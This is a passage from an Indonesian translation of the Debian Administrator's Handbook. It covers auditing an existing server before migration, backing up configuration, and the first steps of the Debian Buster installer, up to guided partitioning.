Untuk tujuan ini, alangkah bijak untuk menginformasikan ke para pengguna proyek Anda sebelum memigrasikan server. Untuk melibatkan mereka ke dalam proyek, mungkin berguna untuk memasang program-program perangkat lunak bebas pada desktop mereka sebelum migrasi, yang akan mereka jumpai lagi setelah migrasi ke Debian; LibreOffice dan keluarga Mozilla adalah contoh terbaik di sini.

3.2.1.1. Jaringan dan Proses

Alat nmap (dalam paket dengan nama yang sama) akan mengidentifikasi secara cepat layanan Internet yang diwadahi oleh suatu mesin yang terhubung jaringan tanpa perlu masuk ke dalamnya. Panggil saja perintah berikut pada mesin lain yang terhubung pada jaringan yang sama:

$ nmap mirwiz

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-06 14:41 CEST

Nmap scan report for mirwiz (192.168.1.104)

Host is up (0.00062s latency).

Not shown: 992 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

25/tcp   open  smtp

80/tcp   open  http

111/tcp  open  rpcbind

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

5666/tcp open  nrpe

9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIF Gunakan netstat untuk mencari daftar layanan yang tersedia

Pada mesin Linux, perintah netstat -tupan akan menampilkan daftar sesi TCP aktif maupun tertunda, juga port UDP yang ada program berjalan yang mendengarkannya. Fasilitas ini mengidentifikasi layanan yang ditawarkan oleh jaringan.

LEBIH JAUH IPv6

Beberapa perintah jaringan mungkin bekerja dengan IPv4 (biasanya sebagai bawaan) atau IPv6. Ini termasuk perintah nmap dan netstat, tetapi juga yang lainnya, seperti route atau ip. Konvensinya adalah bahwa perilaku ini diaktifkan dengan opsi baris perintah -6.

Jika server adalah mesin Unix yang menawarkan akun shell ke pengguna, menarik untuk menentukan apakah proses dieksekusi di latar belakang tanpa kehadiran pengguna. Perintah ps auxw menampilkan daftar semua proses dengan identitas penggunanya. Dengan memeriksa informasi ini terhadap keluaran perintah who, yang menampilkan daftar pengguna yang login, memungkinkan untuk mengidentifikasi server atau program yang berjalan di latar belakang secara liar. Melihat crontabs (tabel daftar aksi otomatis terjadwal oleh pengguna) seringkali menyediakan informasi menarik pada fungsi-fungsi yangi dilayani oleh server (penjelasan lengkap tentang cron tersedia di Bagian 9.7, “Menjadwalkan Tugas dengan cron dan atd”).

Pada beberapa kasus, penting untuk memback-up server Anda: memungkinkan pemulihan informasi setelah sesuatu dilakukan, ketika pengguna melaporkan masalah khusus disebabkan oleh migrasi.

3.2.2. Mem-back up Konfigurasi

Bijaksana untuk memertahankan konfigurasi setiap layanan teridentifikasi agar dapat memasang yang setara pada server yang diperbarui. Setidaknya buat salinan cadangan dari berkas-berkas konfigurasi.

Untuk mesin Unix, berkas konfigurasi biasanya ditemukan di /etc/, tetap mungkin juga terletak di sub-direktori /usr/local/. Ini yang terjadi bila program telah dipasang dari sumber, bukan dari paket. Dalam beberapa kasus, ini mungkin juga dapat ditemukan di bawah /opt/.

Untuk mengelola layanan data (seperti basis data), sangat direkomendasikan untuk mengekspor data ke format standar yang nantinya akan mudah diimpor oleh perangkat lunak baru. Seperti format yang biasanya berupa mode teks dan terdokumentasi; mungkin, sebagai contoh, SQL dump untuk basis data, atau berkas LDIF untuk server LDAP.

Gambar 3.2. Backup basisdata

Setiap perangkat lunak server itu berbeda, dan tidak mungkin menjelaskan semua kasus secara detail. Bandingkan dokumentasi perangkat lunak yang ada dan yang baru apakah ada bagian yang dapat dieksport (dapat diimpor) dan yang memerlukan penanganan manual. Membaca buku ini akan menglarifikasi konfigurasi program server Linux utama.

3.2.3. Mengambil Alih sebuah Server Debian yang Ada

Agar pengambilalihan pemeliharaan efektif, pertama analisa mesin yang sedang berjalan dengan Debian.

Berkas pertama yang dicek ialah /etc/debian_version, yang biasanya berisi nomor versi sistem Debian yang terinstall (bagian dari paket base-files). Jika menunjukkan codename/sid, itu berarti sistem telah diperbarui dengan paket dari distribusi pengembangan (entah itu testing atau unstable).

Program apt-show-versions (dari paket Debian dengan nama sama) periksa daftar paket terinstall dan identifikasi versi yang tersedia. aptitude juga dapat digunakan untuk tugas ini, walaupun dengan cara yang kurang semantik.

Sekilas pada berkas /etc/apt/sources.list (dan direktori /etc/apt/sources.list.d/) akan menampilkan dari mana paket Debian terinstall. Jika ada beberapa nampak dari sumber yang tak diketahui, administrator mungkin memilih untuk menginstall ulang sepenuhnya sistem komputer untuk mengoptimalkan kompabilitas dengan perangkat lunak yang disediakan oleh Debian.

Berkas sources.list merupakan indikator yang baik: mayoritas administrator mempertahankannya, setidaknya di komentar, daftar sumber APT yang digunakan sebelumnya. Namun Anda harus ingat bahwa mungkin sumber yang digunakan sebelumnya telah dihapus, dan beberapa paket yang diambil secara acak dari Internet mungkin telah diinstall secara manual (dengan perintah dpkg). Dalam hal ini, mesin salah paham dalam tampilannya sebagai sistem Debian “standard”. Ini alasan mengapa Anda harus memperhatikan beberapa indikasi yang akan mengungkap kehadiran paket eksternal (berkas deb nampak di direktori yang tak biasa, nomor versi paket dengan akhiran khusus mengindikasikan paket tersebut berasal dari luar proyek Debian, seperti ubuntu atau lmde, dll.)

Demikian pula, menarik untuk menganalisa isi dari direktori /usr/local/, yang tujuannya memang berisi program yang dicompile dan diinstall secara manual. Mendaftar perangkat lunak terinstall dengan cara ini adalah instruktif, karena ini menimbulkan pertanyaan pada alasan mengapa tidak menggunakan paket Debian yang sesuai, jika paket tersebut ada.

LIHAT CEPAT cruft/cruft-ng, debsums, dan apt-show-versions

Paket cruft dan cruft-ng mendaftar semua berkas yang tidak dimiliki oleh paket manapun. Memiliki beberapa filter (lebih atau kurang efektif, dan lebih atau kurang mutakhir) menghindari beberapa laporan legitimasi berkas (berkas yang dibangkitkan oleh paket Debian, atau berkas konfigurasi yang dibangkitkan tidak diatur oleh dpkg, dll.).

Berhati-hatilan untuk tidak menghapus sembarangan apapun yang mungkin didaftar oleh cruft dan cruft-ng!

Paket debsums memungkinkan untuk memeriksa MD5 hashsum dari setiap berkas yang diinstal oleh sebuah paket terhadap sebuah referensi hashsum dan dapat membantu untuk menentukan, berkas mana yang mungkin telah diubah (lihat TIP Mencari berkas yang berubah). Sadarilah bahwa berkas yang dibuat (berkas yang dihasilkan oleh paket Debian, atau berkas konfigurasi yang dihasilkan tidak dikelola oleh dpkg, dll.) tidak tunduk pada pemeriksaan ini.

Paket apt-show-versions menyediakan alat untuk memeriksa paket yang diinstal tanpa sumber paket dan dapat membantu untuk menentukan paket pihak ketiga (lihat Bagian 6.7.3.1, “Paket-paket yang dihapus dari Arsip Debian”).

3.2.4. Menginstall Debian

Setelah seluruh informasi yang diperlukan pada server tersebut diketahui, kita dapat mematikannya dan mulai menginstall Debian.

Untuk memilih versi yang sesuai, kita harus tahu arsitektur komputernya. Jika merupakan PC terkini, sepertinya amd64 (PC lawas biasanya i386). Dalam kasus lain, kita dapat memersempit kemungkinan menurut sistem yang sebelumnya digunakan.

Tabel 3.1 tidak dimaksudkan untuk lengkap, tetapi mungkin bermanfaat. Perhatikan bahwa mendaftar arsitektur Debian yang tidak lagi didukung dalam rilis stabil saat ini. Dalam hal apapun, dokumentasi asli untuk komputer adalah sumber yang paling dapat diandalkan untuk menemukan informasi ini.

Tabel 3.1. Sistem operasi dan arsitektur yang sesuai

Sistem Operasi

Arsitektur

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows RT

armel, armhf, arm64

Windows Vista / Windows 7-8-10

i386, amd64

PERANGKAT KERAS 64 bit PC vs 32 bit PC

Kebanyakan komputer terkini memiliki prosesor 64 bit Intel atau AMD, kompatibel dengan prosesor 32 bit yang lebih lama; maka perangkat lunak yang di-compile untuk arsitektur “i386” bisa berjalan. Di sisi lain, kecocokan ini tidak secara penuh mengeksploitasi kemampuan prosesor baru ini. Ini alasan mengapa Debian menyediakan arsitektur “amd64”, yang bekerja untuk chip AMD terkini maupun prosesor Intel “em64t” (termasuk kebanyakan seri Core), yang sangat mirip dengan AMD64.

3.2.5. Menginstall dan Mengonfigurasi Layanan Terpilih

Setelah Debian terinstall, kita harus menginstall dan mengonfigurasi satu per satu semua layanan yang komputer tersebut harus sajikan. Konfigurasi baru harus memertimbangkan yang sebelumnya untuk memastikan transisi yang mulus. Seluruh informasi yang dikumpulkan pada kedua langkah awal akan berguna untuk menyelesaikan bagian ini.

Gambar 3.3. Install layanan terpilih

Sebelum terjun ke latihan ini dengan dua kaki, sangat disarankan Anda membaca peringatan pada buku ini. Setelah itu Anda akan lebih memahami bagaimana mengonfigurasi layanan yang diharapkan.

Bab 4. Instalasi

Untuk menggunakan Debian, Anda perlu menginstallnya ke sebuah komputer; tugas ini dikerjakan oleh program debian-installer. Instalasi yang benar melibatkan banyak operasi. Bab ini mengulasnya secara kronologis.

KEMBALI KE DASAR Mengejar ketertinggalan dalam lampiran

Menginstall komputer selalu lebih sederhana ketika Anda familiar dengan caranya bekerja. Jika tidak, memutarlah sejenak ke Lampiran B, Kursus Remedial Singkat sebelum membaca bab ini.

Installer untuk Buster berbasis pada debian-installer. Desainnya yang modular memungkinkan untuk bekerja dalam berbagai skenario dan mengizinkan berkembang dan beradaptasi dengan perubahan. Meskipun keterbatasannya tersirat pada kebutuhan untuk mendukung sejumlah besar arsitektur, installer ini sangat mudah diakses oleh pemula, karena installer ini memandu pengguna pada setiap tahap proses. Deteksi perangkat keras otomatis, panduan partisi, dan antar muka pengguna grafis telah memecahkan kebanyakan masalah yang dihadapi para pemula pada tahun-tahun awal Debian.

Instalasi memerlukan RAM (Random Access Memory) 128 MB dan setidaknya ruang kosong hard drive 2 GB. Seluruh komputer Falcot memenuhi kriteria ini. Namun perlu dicatat, bahwa gambaran ini berlaku untuk instalasi sistem desktop terbatas tanpa antar muka grafis. Minimal RAM 1 GB dan ruang hard disk 10 GB sangat direkomendasikan untuk sebuah workstation desktop kantor dasar.

HATI-HATI Meningkatkan dari Stretch

Jika Anda telah menginstall Debian Stretch di komputer Anda, bab ini bukan untuk Anda! Tidak seperti distribusi lainnya, Debian mengizinkan pembaharuan sistem dari suatu versi ke versi selanjutnya tanpa perlu menginstall ulang sistem. Menginstall ulang, menjadi tidak perlu, bahkan bisa menjadi berbahaya, karena dapat membuang program yang telah terinstall.

Proses peningkatan akan dijelaskan di Bagian 6.7, “Upgrade dari Satu Distribusi Stable ke Berikutnya”.

4.1. Metode Instalasi

Sistem Debian dapat diinstal dari beberapa tipe media, selama BIOS mesin mengizinkannya. Anda dapat membootnya dari CD-ROM, flash disk USB, atau bahkan melalui jaringan.

KEMBALI KE DASAR BIOS, antarmuka perangkat keras/perangkat lunak

BIOS (singkatan dari Basic Input/Output System) ialah perangkat lunak yang disertakan di motherboard (papan elektronik yang menghubungkan seluruh peripheral) dan dieksekusi ketika memboot komputer, untuk memuat sebuah sistem operasi (melalui bootloader yang diadaptasi). Itu tetap hadir di latar belakang untuk menyediakan antarmuka antara perangkat keras dan perangkat lunak (dalam hal ini, kernel Linux).

4.1.1. Menginstall dari CD-ROM/DVD-ROM

Metode instalasi paling banyak dipakai adaalah dari CD-ROM (atau DVD-ROM, yang berperilaku persis sama): komputer diboot dari media ini, dan program instalasi mengambil alih.

Berbagai keluarga CD-ROM memiliki tujuan berbeda: netinst (instalasi berbasis jaringan) berisi installer dan sistem Debian dasar; seluruh program lain kemudian diunduh. "Citra" ini, yaitu sistem berkas ISO-9660 yang berisi konten disk yang sebenarnya, hanya mengambil sekitar 150 hingga 280 MB (tergantung arsitekturnya). Di sisi lain, set lengkapnya menawarkan seluruh paket dan dapat untuk diinstall pada komputer yang tak ada koneksi Internet; memerlukan sekitar 16 DVD-ROM (atau atau 4 disk Blu-ray). Namun programnya dibagi pada disk berdasarkan popularitas dan kepentingannya; disk yang pertama akan cukup untuk kebanyakan instalasi, karena berisi perangkat lunak yang paling sering digunakan.

Ada jenis terakhir image, dikenal sebagai mini.iso, yang hanya tersedia sebagai produk sampingan dari installer. Image hanya berisi minimum yang diperlukan untuk mengkonfigurasi jaringan dan sisanya diunduh (termasuk bagian dari installer itu sendiri, itulah sebabnya mengapa image cenderung rusak ketika installer versi baru dirilis). Image dapat ditemukan di cermin Debian normal di bawah direktori dists/release/main/installer-arch/current/images/netboot/.

TIP Disk multi-arsitektur

Kebanyakan instalasi CD- dan DVD-ROM hanya bekerja dengan arsitektur perangkat keras yang spesifik. Jika Anda ingin mengunduh citra yang lengkap, Anda harus memilih yang akan bekerja pada perangkat keras komputer yang yang akan Anda pasang.

Beberapa citra CD/DVD-ROM dapat bekerja pada beberapa arsitektur. Kami memiliki citra CD-ROM yang menggabungkan citra netinst arsitektur i386 dan amd64.

Untuk mendapatkan citra CD-ROM Debian, tentu saja Anda mungkin mengunduh dan membakarnya ke disk. Anda juga dapat membelinya, dan memeberi proyek suatu dukungan finansial kecil. Periksa situs web untuk melihat daftar penyedia citra CD-ROM dan situs unduh.

→ https://www.debian.org/CD/index.html

4.1.2. Mem-boot dari Flash Disk USB

Karena kebanyakan komputer dapat di-boot dari perangkat USB, Anda juga dapat memasang Debian dari flash disk USB (ini tidak lebih dari sebuah flash disk kecil).

Panduan instalasi menjelaskan bagaimana membuat sebuah flash disk USB yang memuat debian-installer. Prosedurnya sangat sederhana karena citra ISO untuk i386 dan amd64 adalah citra hibrida yang dapat di-boot dari CD-ROM maupun dari flash disk USB.

Anda harus mengidentifikasi nama perangkat flash disk USB (misalnya: /dev/sdb); hal termudah untuk melakukan ini ialah dengan memeriksa pesan yang dikeluarkan oleh kernel dengan menggunakan perintah dmesg. Kemudian Anda harus menyalin citra ISO yang diunduh sebelumnya (contoh debian-10.0.0-amd64-amd64-netinst.iso) dengan perintah cat debian-10.0.0-amd64-netinst.iso >/dev/sdb; sync. Perintah ini memerlukan hak akses administrator, karena mengakses flash disk USB secara langsung dan menghapus seluruh isinya.

Penjelasan lebih detail tersedia di panduan instalasi. Antara lain, menjelaskan metode alternatif untuk menyiapkan flash disk USB yang lebih kompleks, namun mengizinkan untuk mengubah pilihan bawaan installer (yang disetel pada baris perintah kernel).

→ https://www.debian.org/releases/stable/amd64/ch04s03.html

4.1.3. Instalasi melalui Boot Jaringan

Banyak BIOS mengizinkan boot langsung dari jaringan dengan mengunduh kernel dan citra sistem berkas minimal. Metode ini (yang memiliki beberapa nama, seperti boot PXE atau TFTP) dapat menjadi penyelamat-hidup jika komputer tidak memiliki pembaca CD-ROM, atau jika BIOS tidak dapat boot dari media seperti itu.

Metode instalasi ini bekerja dalam dua langkah. Pertama, ketika mem-boot komputer, BIOS (atau kartu jaringan) mengeluarkan permintaan BOOTP/DHCP untuk mendapatkan alamat IP secara otomatis. Ketika server BOOTP atau DHCP memberikan respon, itu menyertakan nama berkas, maupun pengaturan jaringan. Setelah jaringan diatur, komputer klien mengeluarkan permintaan TFTP (Trivial File Transfer Protocol) untuk sebuah berkas yang namanya diindikasikan sebelumnya. Setelah berkas ini didapatkan, berkas tersebut dieksekusi sebagai bootloader. Berkas ini kemudian memulai program instalasi Debian, yang dieksekusi sebagaimana ketika dieksekusi dari hard disk, CD-ROM, atau flash disk USB.

Seluruh rincian metode ini tersedia pada panduan instalasi (bagian "Mempersiapan berkas untuk TFTP Net Booting").

→ https://www.debian.org/releases/stable/amd64/ch05s01.html#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05.html

4.1.4. Metode Instalasi Lain

Ketika kita harus menggelar instalasi ubahan untuk banyak komputer, umumnya kita memilih yang otomatis daripada metode instalasi manual. Tergantung pada situasi dan kerumitan instalasi yang dibuat, kita dapat menggunakan FAI (Fully Automatic Installer/Instalasi Penuh Otomatis, dijelaskan di Bagian 12.3.1, “Fully Automatic Installer (FAI, Pemasang Otomatis Sepenuhnya)”), atau bahkan DVD instalasi ubahan dengan preseed (lihat Bagian 12.3.2, “Memprabibit Debian-Installer”).

4.2. Menginstall, Langkah demi Langkah

4.2.1. Mem-boot dan Memulai Penginstall

Sekali BIOS mulai mem-boot dari CD- atau DVD-ROM, menu bootloader Isolinux muncul. Pada tahap ini, kernel Linux belum dimuat; menu ini mengizinkan Anda untuk memilih kernel untuk di-boot dan memasukkan parameter yang memungkinkan untuk dikirim ke proses.

Untuk instalasi standar, Anda hanya perlu memilih "Instal" atau "Instal Grafis" (dengan tombol panah), kemudian tekan tombol Enter untuk memulai proses instalasi selanjutnya. Jika DVD-ROMnya ialah disk "Multi-arch", dan mesinnya memiliki prosesor Intel atau AMD 64 bit, pilihan menu memungkinkan instalasi varian 64 bit (amd64) dan instalasi varian 32 bit masih tersedia dalam sub menu tersendiri ("opsi instalasi 32 bit"). Bila Anda memiliki prosesor 32 bit, Anda tidak mendapat pilihan dan entri menu memasang varian 32 bit (i386).

LEBIH JAUH 32 atau 64 bit?

Perbedaan mendasar antara sistem 32 dan 64 bit ialah ukuran alamat memori. Teorinya, sebuah sistem 32 bit tidak dapat bekerja dengan RAM lebih dari 4 GB (2^32 byte). Pada prakteknya, memungkinkan untuk bekerja pada batasan ini dengan menggunakan varian kernel 686-pae, sejauh prosesor dapat menangani fungsionalitas PAE (Physical Address Extension). Walaupun demikian, menggunakannya akan berpengaruh penting terhadap kinerja sistem. Itulah mengapa sangat berguna untuk menggunakan mode 64 bit pada server dengan jumlah RAM yang besar.

Untuk komputer kantor (di mana beberapa persen perbedaan performanya dapat diabaikan), Anda harus tetap memikirkan bahwa beberapa program proprietary tak tersedia untuk versi 64 bit. Secara teknis memungkinkan untuk membuatnya bekerja pada sistem 64 bit, namun Anda harus menginstal seluruh pustaka versi 32 bit yang diperlukan (lihat Bagian 5.4.5, “Dukungan Multi-Arch”), dan kadang-kadang menggunakan setarch atau linux32 (dalam paket util-linux) untuk mengelabuhi aplikasi mengenai sifat sistem.

PRAKTEKNYA Instalasi berdampingan dengan sistem Windows yang sudah ada

Jika komputer telah menjalankan Windows, tak perlu menghapus sistem untuk menginstall Debian. Anda dapat memiliki kedua sistem sekaligus, masing-masing terinstal pada disk atau partisi yang berbeda, dan memilih mana yang akan dimulai ketika memboot komputer. Konfigurasi ini biasanya disebut "dual boot", dan instalasi sistem Debian dapat menyiapkannya. Hal ini dilakukan selama tahap pemartisian hard disk dalam instalasi dan ketika menyiapkan bootloader (lihat bilah sisi PRAKTEKNYA Mereduksi partisi Windows dan HATI-HATI Bootloader dan dual boot).

Jika Anda telah memiliki sistem Windows, Anda bahkan dapat menghindari penggunaan CD-ROM; Debian menawarkan sebuah program Windows yang akan mengunduh installer Debian yang ringan dan mengaturnya pada hard disk. Selanjutnya Anda hanya perlu mereboot komputer dan memilih antara boot Windows normal atau memboot program instalasi. Anda juga dapat menemukannya pada situs web yang didedikasikan dengan judul agak eksplisit…

→ http://ftp.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

KEMBALI KE DASAR Boot loader

Bootloader ialah program level-rendah yang bertanggung jawab untuk mem-boot kernel Linux setelah BIOS memberikan kontrolnya. Untuk menangani tugas ini, bootloader harus dapat menemukan kernel Linux untuk diboot pada cakram. Pada arsitektur i386 dan amd64, dua program yang kebanyakan digunakan untuk melakukan tugas ini ialah LILO, yang lebih tua, dan GRUB, penggantinya yang modern. Isolinux dan Syslinux ialah alternatif yang seringkali digunakan untuk memboot dari media lepasan.

Setiap entri menu tersembunyi baris perintah boot yang spesifik, yang dapat dikonfigurasi sesuai kebutuhan dengan menekan tombol TAB sebelum memvalidasi entri dan mem-boot. Menu "Bantuan" menampilkan antarmuka baris perintah lama, di mana tombol F1 sampai F10 menampilkan layar bantuan yang berbeda menjelaskan berbagai pilihan yang tersedia. Anda akan jarang menggunakan pilihan ini kecuali pada kasus yang spesifik.

Mode "mahir" (dapat diakses pada menu "Pilihan tingkat lanjut") merinci seluruh pilihan yang mungkin dalam proses instalasi, dan mengizinkan navigasi di antara berbagai langkah tanpa mereka terjadi secara otomatis secara berurut. Berhati-hatilah, mode yang sangat cerewet ini dapat memusingkan karena banyaknya pilihan konfigurasi yang ditawarkan.

Gambar 4.1. Layar boot

Setelah di-boot, program instalasi memandu Anda selangkah demi selangkah melalui proses. Bagian ini menyajikan setiap langkah ini secara detil. Di sini kita mengikuti proses sebuah instalasi dari DVD-ROM Multi-Arch (lebih spesifiknya, versi rc1 installer untuk Buster)); instalasi netinst, maupun rilis final installer, mungkin nampak sedikit berbeda. Kami juga akan membahas instalasi mode grafis, namun perbedaan dari instalasi "klasik" (mode-teks) adalah hanya dalam tampilan visual.

4.2.2. Memilih bahasa

Program instalasi dimulai dalam bahasa Inggris, namun langkah pertama memungkinkan pengguna memilih bahasa yang akan digunakan pada seluruh proses. Memilih Prancis, misalnya, akan menyediakan instalasi yang seluruhnya telah diterjemahkan ke dalam bahasa Prancis (dan hasilnya sistem terkonfigurasi dalam bahasa Prancis). Pilihan ini juga dapat digunakan untuk menentukan pilihan bawaan yang sesuai pada langkah berikut (terutama tata letak papan tik).

KEMBALI KE DASAR Navigasi dengan papan tik

Beberapa langkah proses instalasi memerlukan Anda untuk memasukkan informasi. Layar ini memiliki beberapa area yang mungkin "memiliki fokuss" (area entri teks, kotak centang, daftar pilihan, tombol OK dan Batal), dan tombol TAB yang memungkinkan Anda berpindah dari satu ke yang lainnya.

Pada mode grafis, Anda dapat menggunakan tetikus sebagaimana biasanya pada deskto grafis yang terinstall.

Gambar 4.2. Memilih bahasa

4.2.3. Memilih negara

Langkah kedua berisi pemilihan negara Anda. Digabungkan dengan bahasa, informasi ini mengaktifkan program yang menawarkan tata letak papan tik yang sesuai. Hal ini juga memengaruihi konfigurasi zona waktu. Di Amerika Serikat, papan tik yang disarankan ialah standar QWERTY, dan pilihan zona waktu yang sesuai ditawarkan.

Gambar 4.3. Memilih negara

4.2.4. Memilih tata letak papan tik

Usulan papan tik "American English" biasanya sesuai dengan tata letak QWERTY.

Gambar 4.4. Pilihan papan tik

4.2.5. Mendeteksi Perangkat Keras

Langkah ini sepenuhnya otomatis dalam mayoritas kasus. Installer mendeteksi perangkat keras, dan mencoba mengidentifikasi cakram CD-ROM yang digunakan untuk mengakses isinya. Memuat modul yang sesuai dengan berbagai komponen perangkat keras yang terdeteksi, dan kemudian "mount" CD-ROM untuk membacanya. Langkah sebelumnya sepenuhnya dimuat dalam citra boot yang disertakan dalam CD, berkas yang berukuran terbatas dan dimuat ke dalam memori oleh BIOS ketika boot dari CD.

Installer dapat bekerja dengan sebagian besar drive, khsusnya periferal standar ATAPI (kadang-kadang disebut IDE dan EIDE). Akan tetapi, jika deteksi pembaca CD-ROM gagal, installer menawarkan pilihan untuk memuat modul kernel (misalnya dari flash disk USB) sesuai dengan penggerak CD-ROM.

4.2.6. Memuat Komponen

Sekarang konten CD telah tersedia, installer memuat seluruh berkas yang diperlukan untuk melanjutkan pekerjaannya. Termasuk penggerak tambahan untuk perangkat keras selanjutnya (khususnya kartu jaringan), maupun komponen program instalasi.

4.2.7. Mendeteksi Perangkat Keras Jaringan

Langkah otomatis ini mencoba mengidentifikasi kartu jaringan dan memuat modul yang sesuai. Jika deteksi otomatis gagal, Anda dapat memilih modul untuk dimuat secara manual. Jika tidak ada modul yang bekerja, masih memungkinkan untuk memuat modul spesifik dari perangkat removable. Solusi terakhir ini biasanya hanya diperlukan jika penggerak yang cocok tidak disertakan dalam kernel Linux standar, namun tersedia di tempat lain, misalnya website pabriknya.

Langkah ini seharusnya berhasil untuk istalasi netinst, karena paket Debian harus dimuat dari jaringan.

4.2.8. Mengonfigurasi Jaringan

Untuk sebanyak mungkin mengotomasi proses, installer berusaha mengotomasi konfigurasi jarigan dengan DHCP (untuk IPv4) dan dengan menemukan jaringan IPv6. Jika ini gagal, akan menawarkan pilihan lainnya: mencoba lagi dengan konfigurasi DHCP normal, mencoba konfigurasi DHCP dengan mendeklarasikan nama mesin, atau menyiapkan konfigurasi jaringan statis.

Pilihan terakhir memerlukan sebuah alamat IP, sebuah subnet mask, dan alamat IP untuk gateway potensial, nama mesin, dan nama domain.

TIP Konfigurasi tanpa DHCP

Jika jarigan lokal dilengkapi dengan server DHCP yang tidak ingin Anda gunakan karena Anda lebih memilih alamat IP statis untuk mesin sepanjang instalasi, Anda dapat menambahka pilihan netcfg/use_dhcp=false ketika mem-boot dari CD-ROM. Anda hanya perlu menuju ke menu yang diinginkan dengan menekan tombol TAB dan menambahkan pilihan yang diinginkan sebelum menekan tombol Enter.

HATI-HATI Jangan berimprovisasi

Kebanyakan jaringan lokal didasarkan pada asumsi bahwa seluruh mesin dapat dipercaya, dan konfigurasi yang tak memadai dari sebuah komputer akan sering mengusik seluruh jaringan. Jadi, jangan hubungkan mesin Anda ke jaringan tanpa persetujuan administrator lebih dahulu pada pengaturan yang sesuai (contoh, alamat IP, netmask, dan alamat broadcast).

4.2.9. Kata Sandi Administrator

Akun super-user root, dicadangkan untuk administrator mesin, dibuat secara otomatis selama instalasi; oleh sebab itu kata sandi diperlukan. Installer juga meminta konfirmasi kata sandi untuk menghindari kesalahan masukan yang di kemudian hari akan sulit untuk diubah. Perhatikan bahwa Anda dapat membiarkan kedua ruas kosong jika Anda ingin akun root dinonaktifkan. Dalam hal ini, pengguna biasa pertama — yang akan dibuat oleh installer di langkah berikutnya — akan memiliki hak administratif melalui sudo (lihat Bagian 8.9.4, “Berbagi Hak Akses Administrator”).

KEAMANAN Kata sandi administrator

Kata sandi pengguna root harus panjang (8 karakter atau lebih) dan tak mungkin ditebak. Memang, sebarang komputer (dan terlabih lagi sebarang server) yang terhubung ke Internet seringkali dijadikan target oleh upaya koneksi otomatis dengan kata sandi paling umum. Kadang-kadang bahkan dijadikan subjek pada dictionary attack, dimana banyak kombinasi kata dan angka diujikan sebagai kata sandi. Hindari penggunaan nama anak atau orang tua, tanggal lahir, dll.: kebanyakan rekan kerja Anda mungkin telah mengenal mereka, dan Anda sangat jarang ingin memberikan akses bebas ke komputer tersebut.

Komentar ini sesuai untuk diterapkan pada kata sandi pengguna lain, namun konsekuensi akun yang terkompromi kurang drastis untuk pengguna tanpa hak administratif.

Jika tak ada inspirasi, jangan ragu untuk menggunakan generator password, seperti pwgen (dalam paket dengan nama yang sama).

Gambar 4.5. Kata Sandi Administrator

4.2.10. Membuat Pengguna Pertama

Debian juga memaksakan pembuatan akun pengguna standar agar administrator tidak memiliki kebiasaan buruk bekerja sebagai root. Prinsip kehati-hatian pada dasarnya bermakna bahwa setiap tugas dikerjakan dengan hak minimal, agar meminimalisir bahaya yang disebabkan oleh kesalahan manusia. Inilah mengapa installer akan meminta nama lengkap pengguna pertama, nama penggunanya, dan kata sandinya (dua kali, untuk mencegah risiko masukan yang salah).

Gambar 4.6. Nama pengguna pertama

4.2.11. Mengonfigurasi Jam

Jika jaringan tersedia, sistem waktu internal diperbarui (hanya sekali) dari sebuah server NTP. Dengan cara ini stempel waktu pada log akan diperbaiki dari boot pertama. Agar mereka tetap presisi secara konsisten dengan berjalannya waktu, sebuah daemon NTP perlu disiapkan setelah instalasi awal (lihat Bagian 8.9.2, “Sinkronisasi Waktu”).

4.2.12. Mendeteksi Disk dan Peranti Lain

Langkah ini secara otomatis mendeteksi perangkat keras yang mungkin dipasangi Debian. Akan disajikan pada langkah selanjutnya: pemartisian.

4.2.13. Memulai Alat Pemartisian

KULTUR Penggunaan pemartisian

Pemartisian, langkah yang sangat diperlukan dalam instalasi, terdiri dari membagi ruang yang tersedia pada hard disk (masing-masing sub bagian disebut "partisi") sesuai dengan data yang akan disimpan padanya dan maksud penggunaan komputer. Langkah ini juga termasuk memilih sistem berkas yang akan digunakan. Semua keputusan ini akan memiliki pengaruh pada kinerja, keamanan data, dan administrasi server.

Langkah pemartisian secara tradisional sulit untuk pengguna baru. Perlu menentukan berbagai porsi untuk cakram (atau "partisi") dimana sistem berkas Linux dan memori virtual (swap) akan disimpan. Tugas ini rumit jika sistem operasi lain yang ingin Anda biarkan telah ada di mesin. Memang, Anda perlu memastikan tidak mengubah partisi tersebut (atau mengubah ukurannya tanpa menyebabkan kerusakan).

Untungnya, perangkat lunak pemartisian memiliki mode "terpandu" yang merekomendasikan partisi kepada pengguna untuk dibuat — dalam kebanyakan kasus, Anda bisa saja sekadar memvalidasi saran perangkat lunak.

Gambar 4.7. Pilihan mode pemartisian

Layar pertama dalam alat pemartisian menawarkan pilihan menggunakan seluruh hard disk untuk membuat berbagai partisi. Untuk komputer (baru) yang akan sepenuhnya menggunakan Linux, pilihan ini jelas paling sederhana, dan Anda dapat mengambil pilihan "Terpandu - gunakan seluruh cakram". Jika komputer memiliki dua hard disk untuk dua sistem operasi, pengaturan satu drive untuk masing-masing juga suatu solusi yang dapat memfasilitasi pemartisian. Dalam kedua kasus ini, layar selanjutnya menawarkan untuk memilih cakram di mana Linux akan diinstall dengan memilih entri yang sesuai (sebagai contoh, "SCSI1 (0,0,0) (sda) - 21.5 GB ATA QEMU HARDDISK"). Anda kemudian memulai pemartisian terpandu.

Gambar 4.8. Disk yang digunakan untuk pemartisian terpandu

Pemartisian terpandu juga dapat mengatur volume logikal LVM sebagai pengganti partisi (lihat di bawah). Karena sisa operasinya sama, kita tidak akan mengulangi membahas pilihan "Terpandu - gunakan seluruh cakram dan atur LVM" (terkenkripsi atau tidak).

Dalam kasus lain, ketka Linux harus berdampingan dengan partisi lain yang sudah ada, Anda perlu memilih pemartisian manual.

4.2.13.1. Pemartisian terpandu

Alat pemandu pemartisian menawarkan tiga metode pemartisian, yang sesuai dengan penggunaan yang berbeda.

Gambar 4.9. Pemartisian terpandu

